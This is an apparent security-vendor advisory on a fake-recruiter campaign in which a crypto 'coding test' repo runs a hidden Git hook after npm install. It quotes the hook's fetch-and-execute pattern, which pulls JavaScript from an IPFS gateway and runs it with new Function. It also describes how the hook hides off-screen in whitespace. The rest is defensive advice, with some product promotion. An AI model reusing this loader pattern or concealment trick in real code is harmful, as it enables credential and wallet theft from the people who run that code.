The crypto recruiter's coding test that runs itself on npm install
A recruiter for a crypto or real-world-asset startup messages you on LinkedIn, points at a polished company website, and sends a take-home coding test as a GitHub repository. You run npm install, and a Git hook installs quietly. Your next git commit fires a line buried inside a file called .husky/scripts/common.sh that pulls JavaScript from an IPFS gateway and runs it on your machine. The repo still looks clean on GitHub. Researchers tie this exact pattern to the campaign Microsoft and others call Contagious Interview.
The repo looks clean on GitHub. It is not clean on your machine.
Verdict: treat any 'coding test' or take-home repository from a recruiter you did not seek out as hostile code, and never run it on a machine that holds your wallet, keys or logins. A fake recruiter for a crypto, Web3 or real-world-asset (RWA) startup messages a developer on LinkedIn and references a legit-looking company site to earn trust, then sends a GitHub repo as an interview exercise. The trap is not in the code you read. Running npm install silently installs a Git hook, and your next git commit runs a command hidden inside .husky/scripts/common.sh that fetches JavaScript from an IPFS gateway and executes it, stealing crypto wallets, credentials and source. Because the payload is pulled at runtime, the repository itself scans clean. GitHub (github.com) and LinkedIn (linkedin.com) are legitimate platforms the attacker abuses, not the source of the danger. In the case we pulled apart, the recruiter's front company ran on rwahubassets[.]com, which SafeBrowz already flags as dangerous.
The message you were glad to get
Play this through from the developer's chair, because every step of it looks like a normal hiring process.
You are a developer, maybe open to work, maybe just reachable. A recruiter messages you on LinkedIn about a role at a crypto trading firm, a Web3 project or an RWA tokenization startup. The profile has a plausible history, a headshot, connections in the space. The pitch is specific and flattering: your stack, remote, competitive pay. To make the company feel real, the recruiter points you at a company website, a clean landing page with a product, a team and a roadmap. It all checks out at a glance, which is the entire purpose of that page.
In the case we analyzed, that front presented itself as an RWA tokenization startup on the domain rwahubassets[.]com: freshly registered, no history behind it, built for one job, to be the thing you glance at and accept as a real company. It is the same trust move we broke down in the fake job interview that phishes your Google login. The front does the vouching so the next step feels routine.
The next step is a technical screen. The recruiter, or a "hiring engineer" you are handed off to, says: before the call, take a look at our repo and get it running, it is a small coding exercise. Cloning a repo and running an interview task is the most ordinary thing a developer does. Nothing in that ask raises an alarm. The alarms all live one layer down.
The take-home test that runs before you write a line
You clone the repository from GitHub. It looks like a real project: a package.json, a README describing a small feature to build, some source files, tests. You do what the README says and what you have done a thousand times. You run npm install.
That single command is where the attack fires. You have not written any code, opened the interesting files or started the exercise. You simply installed the dependencies, and in doing so you also installed something the attacker bundled into the project: a set of Git hooks. Nothing visible happens. The install finishes, the exercise looks ready, and you move on. The trap is armed and waiting for the most natural thing you will do next, which is commit your work.
Here is the piece that catches experienced developers off guard, and it is worth stating plainly because it is the crux of the whole scam: npm install can run code. A package can declare lifecycle scripts, small commands npm runs automatically at install time. This project used one to wire up its Git hooks through a popular, legitimate tool called Husky. On a real project that is a convenience. On this one it is the delivery mechanism.
Line 85 of a file you were never meant to open
When you eventually run git commit, Git fires the project's pre-commit hook, at .husky/pre-commit. That hook sources a helper script the attackers added, .husky/scripts/common.sh. And in the sample we examined, around line 85 of that helper sits the payload, written to be seen by no one.
The malicious command is hidden three ways at once, and each one is a tell you can learn:
- It hides off-screen. The command sits at the end of a line after a long run of whitespace, far to the right of anything you would read. Open the file in an editor and the visible text looks harmless; the dangerous part is scrolled out of view unless you drag the horizontal scrollbar or turn on word wrap.
- It runs in the background. The command is launched as a background job, so it does not block or print anything to your terminal. Your commit does not hang or stall while it works.
- It fails on purpose. The hook ends with
exit 1, a non-zero exit code. To you, the commit looks like it hit an ordinary hook error, the kind of thing you shrug at and rerun. The failure is theater. The payload already launched.
What that hidden command actually does is fetch and run remote code. In the sample, it reaches out to an IPFS gateway, a Pinata address of the form *.mypinata.cloud/ipfs/..., pulls back JavaScript and executes it dynamically, along the lines of fetch(...).then(r => r.json()).then(j => new Function(j.data)()). Read that last part slowly: new Function(j.data)() takes a string that was just downloaded from the internet and runs it as live code, with all the access your user account has. From there the payload does what this family of malware is built to do: hunt for crypto wallets and seed phrases, harvest credentials and tokens, and rifle through your source and environment files.
The design goal of pulling the payload from IPFS at runtime is the same reason the repository scans clean: the dangerous JavaScript never lives in the repo. GitHub is hosting a project that, on inspection, contains a shell script and a fetch call. The teeth are delivered on demand, from elsewhere, only when your commit triggers them. This is the same runtime-fetch trick we have seen dressed up as a fake token airdrop hosted on GitHub: the platform is legitimate, the repository is the lure, and the harm arrives from a second source.
Why running npm install can run a stranger's code
If you are not a developer, this is the part that makes the rest make sense. Installing a project's dependencies sounds passive, like unzipping a folder. It is not.
npm lets a package define lifecycle scripts that run automatically during install. One of them, the prepare script, runs on a plain npm install with no arguments, exactly what happens when you clone a repo and install it. Tools like Husky use that step legitimately to set up Git hooks for every contributor. It is also a general-purpose way to run whatever the author wrote, on your machine, the moment you install and again when you commit. The attacker did not exploit a bug. They used the feature as designed and aimed it at you. Cloning a repo is safe and reading it is safe; running npm install on an untrusted project can execute the author's code, and a project with Git hooks can run more of it on every commit.
The tells the attackers could not hide
The payload was well hidden. The project around it was not, because whoever assembled these repos is running a volume operation and cutting corners. In the sample we looked at, the repository contradicted itself.
It was pitched as a plain "Node" exercise, yet the files carried React components and references to a "Balance" view that had nothing to do with the stated task. That is the fingerprint of a template reused across many fake interviews and lightly reskinned per victim, with the leftovers never cleaned up. A real take-home test is internally consistent because someone wrote it for the role; a booby-trapped one often is not, because its author cares about the hook, not the exercise.
The human side leaks in the same way. The recruiter is warm until you have the repo, then suddenly in a hurry for you to clone and run it before the call, and vague when you ask basic questions about the codebase or the task. Pressure to run code on a timeline is not enthusiasm. It is a script. When you spot that rush, you are already most of the way to spotting the scam, the same instinct our guide to spotting a fake job offer is built around.
Flag the fake company before you clone the repo
You do not need to reverse-engineer a shell script to stay safe here. A handful of developer habits shut this entire class of attack down, and none of them slow a real interview by more than a minute.
- Never run an interview repo on your real machine. Run any unsolicited take-home test only inside a throwaway virtual machine or container that holds no wallets, no keys, no logins and no source you care about. If the payload runs, it finds nothing and it dies with the VM.
- Read package.json before you install. Open it and look for
prepare,postinstallandpreinstallscripts, and check whether the project ships a.husky/folder. Any of those runs code the moment you install or commit. Their presence in a stranger's "coding test" is a reason to stop. - Install with scripts disabled. When you do need to look at untrusted code, use
npm install --ignore-scripts, which tells npm not to run lifecycle scripts. It can skip legitimate setup too, so reserve it for code you are inspecting rather than trusting. - Open the hooks and scroll all the way right. If a
.husky/folder exists, read every file in it and anything it sources, likescripts/common.sh. Turn on word wrap or drag the scrollbar to the far right. This attack lives in the whitespace precisely because most people never look there. - Treat urgency as the tell. A recruiter who rushes you to clone and run code before a call, or who cannot explain the task, is delivering malware, not hiring. Slow down exactly when someone wants you to speed up.
- Verify the company independently. Do not trust the link in the message. Type the company name into a search engine, check the domain's age and history, and paste the site into a scanner. In the case we saw, the front company's domain was fresh, historyless, and already flagged dangerous.
Flag the fake-recruiter front before you run its code
SafeBrowz is a free browser extension for Chrome, Firefox and Edge, with Safari pending, plus an Android app. It checks a domain the moment you land on it, which is exactly the moment that matters in this scam: the recruiter's whole con rests on you believing the front company is real. A fresh, no-history domain dressed up as a crypto or RWA startup is the kind of name our URL check flags before you ever agree to clone anything. The AI deep scan (Premium, $14.99/year) reads the company page on top for the fronts that try to look established.
Got a company link from a recruiter you did not reach out to? Scan it free first →
One playbook, more than one crew
The repo we analyzed is one instance of a technique that has been running against developers for over a year, and it helps to know how much of an industry sits behind it.
Microsoft documented the fake-interview delivery method in a security blog on March 11, 2026, describing threat actors who pose as recruiters from cryptocurrency trading firms or AI solution providers and get victims to clone and execute code hosted on GitHub, GitLab or Bitbucket. Microsoft names the payloads this operation drops, a set of backdoors and stealers it tracks as OtterCookie, BeaverTail, InvisibleFerret and FlexibleFerret, and describes what they take: cryptocurrency wallets, cloud credentials, signing keys, API tokens and password-manager data. Microsoft's write-up documents the technique without naming a country.
The attribution comes from elsewhere, and it is worth being precise about. The name "Contagious Interview" comes from Palo Alto Networks Unit 42. ESET tracks the overlapping activity as DeceptiveDevelopment and links it to North Korea's Lazarus Group, aimed at cryptocurrency and Web3 developers. In January 2026 the crypto infrastructure firm Fireblocks published its own case, "Operation Contagious Interview," after attackers impersonated its recruiters on LinkedIn with polished PDFs for a fictitious "Fireblocks Poker Platform" project and live video interviews, and tied that tradecraft to the Lazarus-linked actor APT38. The honest framing: researchers link this pattern to Lazarus, not that any single repository is provably theirs.
And it is not only one nation-state crew. The same fake-recruiter shape has been used by ordinary financially motivated criminals. In early 2025, a group researchers track as Crazy Evil stood up a fake Web3 company called ChainSeeker.io, with a website and LinkedIn and X profiles, took out premium job listings, and pushed applicants toward a fake video-meeting app called GrassCall that installed a wallet-stealing infostealer. Different actor, same con: a convincing employer front, a coding or interview step, and malware delivered as a normal part of getting hired. The lesson is not to memorize the group. It is to distrust the mechanism.
Where a domain check helps, and where it stops
SafeBrowz runs a 3-layer detection architecture: Local + APIs + AI. Because this threat straddles a fake website and a booby-trapped repo, a browser layer helps with one half and honestly cannot touch the other. Here is exactly where each layer stands.
- Layer 1, Local detection: URL-shape checks run in the extension before a page renders, covering 60+ URL patterns, no-HTTPS and raw-IP checks, and homograph detection. A recruiter's front company usually uses a bland, freshly registered domain, so at this layer it is mostly a tripwire; the decisive signal comes from the next layer.
- Layer 2, API checks: the front-company domain is cross-referenced server-side against our 550+ brand database, Google Safe Browsing, PhishTank, URLhaus and ScamAdviser feeds, our own indicator blocklist, and a 30+ scam TLD watchlist, and the scan surfaces registration age. This is the layer that flags the recruiter's front. In the case we analyzed, that front ran on rwahubassets[.]com, and our blocklist already returns it as dangerous, so a developer who checks the company link before trusting it gets a danger flag rather than a reason to clone.
- Layer 3, AI deep scan (Premium): AI content analysis via our proxy reads the front company's site the way an analyst would, in any of the 100+ languages the AI scan handles, and catches a thin, cloned or invented startup page dressed up to look established.
Now the honest limit, stated plainly. The malware does not live on the recruiter's front. It lives in a GitHub repository and an IPFS payload, both on legitimate platforms, github.com and a Pinata IPFS gateway on mypinata.cloud, that SafeBrowz deliberately never blocks. Blocking GitHub or an IPFS gateway would break the tools every developer needs, which is precisely why attackers ride them. So a URL check can flag the fake company that vouches for the repo, but it cannot vet the code inside the repo or the payload it fetches at runtime. That job belongs to the developer habits above: inspect before you install, and run interview code only in a throwaway VM. The browser layer buys you the earlier moment, the fresh domain pretending to be an employer, before you ever agree to run anything.
Detection signatures are derived from threat-intelligence research and our internal brand database, not from user browsing data. SafeBrowz does not store per-user browsing history.
If you already ran an interview repo
If you cloned one of these projects and ran npm install or committed, treat the machine as compromised, with your crypto first in line. The order matters.
- Disconnect the machine from the network and leave it off. If it is a work device, hand it to your security team as-is and stop here.
- Switch to a clean device for every step that follows. Changing passwords on the infected machine hands the new ones straight to the payload.
- Move any crypto immediately. This malware family hunts wallets and seed phrases. Create a fresh wallet on a clean device, ideally hardware-backed, and transfer funds out. Any seed phrase ever typed, stored or screenshotted on the infected machine is burned. Our guide on what to do when a seed phrase is stolen walks the exact steps.
- Change passwords, then revoke every active session, starting with email, GitHub, npm and any cloud accounts. Stolen session tokens keep working after a password change, so use each service's "sign out everywhere" control and rotate API keys and signing keys.
- Rebuild the operating system. A backdoor that pulled live code from the internet is not something to clean file by file. A full reinstall is the answer you can trust.
- Report it: in the US, the FBI's Internet Crime Complaint Center at ic3.gov and the FTC at reportfraud.ftc.gov. Our guide to the first 24 hours after a scam covers the full lockdown order.
Check a recruiter's company site before you trust the offer
Got a link to a startup from a recruiter who found you? Paste the company address here. Our 3-layer engine (Local + APIs + AI) returns a verdict in about 3 seconds. Free, no signup.
Frequently asked questions
Is it safe to do a coding test from a recruiter?
A coding test itself is normal and fine. The risk is running an unsolicited repository on your real machine. Reading the code is safe; installing and running it is not, because a project can execute the author's code during npm install and again on every git commit. If a recruiter you did not seek out sends a take-home repo, run it only inside a throwaway virtual machine or container with no wallets, keys or logins on it, read package.json for prepare, postinstall and preinstall scripts and check for a .husky folder first, and treat any pressure to run it quickly before a call as a red flag.
Does npm install really run code?
Yes. npm lets a package define lifecycle scripts, such as prepare, preinstall and postinstall, that npm runs automatically when you install dependencies. The prepare script runs on a plain npm install with no arguments, which is what happens when you clone a repo and install it. Legitimate tools use this to set up Git hooks, but it also means installing an untrusted project can execute whatever the author wrote. You can prevent it for code you are only inspecting by running npm install --ignore-scripts, which tells npm to skip those scripts.
How do I check a GitHub repo before I run it?
Clone and read, do not install and run. Open package.json and look for prepare, preinstall and postinstall scripts. Check whether the project ships a .husky folder, and if it does, read every file inside it and anything they source, such as scripts/common.sh, with word wrap on so nothing hides off-screen to the right. Watch for a project that contradicts its own description, like a "Node" exercise that ships React components or unrelated views, which suggests a reused, reskinned template. When you must run it, do so in a disposable VM or container with npm install --ignore-scripts.
Is GitHub or LinkedIn the problem here?
No. GitHub and LinkedIn are legitimate platforms, and neither was breached. The attacker uses LinkedIn to reach developers with a convincing recruiter persona and uses GitHub to host a repository that looks clean, because the actual malware is fetched at runtime from an IPFS gateway rather than stored in the repo. The abuse is the fake recruiter and the booby-trapped project, not the platforms. That is also why a URL blocker cannot help by banning github.com or an IPFS gateway; doing so would break tools developers rely on, which is exactly what the attackers count on.
What is the Contagious Interview campaign?
Contagious Interview is the name Palo Alto Networks Unit 42 gave to a long-running operation in which attackers pose as recruiters and deliver malware to developers through fake interview tasks, usually a coding exercise hosted on GitHub, GitLab or Bitbucket. ESET tracks the overlapping activity as DeceptiveDevelopment and links it to North Korea's Lazarus Group, focused on stealing cryptocurrency and developer credentials. Microsoft documented the delivery technique in March 2026, and Fireblocks published its own case, "Operation Contagious Interview," in January 2026 after attackers impersonated its recruiters. A separate financially motivated crew, Crazy Evil, ran a similar fake-company scam under the name ChainSeeker.io with a malicious meeting app called GrassCall.
I already ran the interview repo. What should I do now?
Assume the machine is compromised and act in order: disconnect it from the network; move to a clean device; transfer any crypto to a fresh wallet created on that clean device, since wallets and seed phrases are the target; change passwords and revoke all active sessions starting with email, GitHub, npm and cloud accounts, and rotate API and signing keys, because stolen tokens survive a password change; then rebuild the operating system rather than trying to delete files. Report the incident at ic3.gov and reportfraud.ftc.gov if you are in the US, and if it is a work machine, tell your security team first and touch nothing.
Last updated 2026-07-27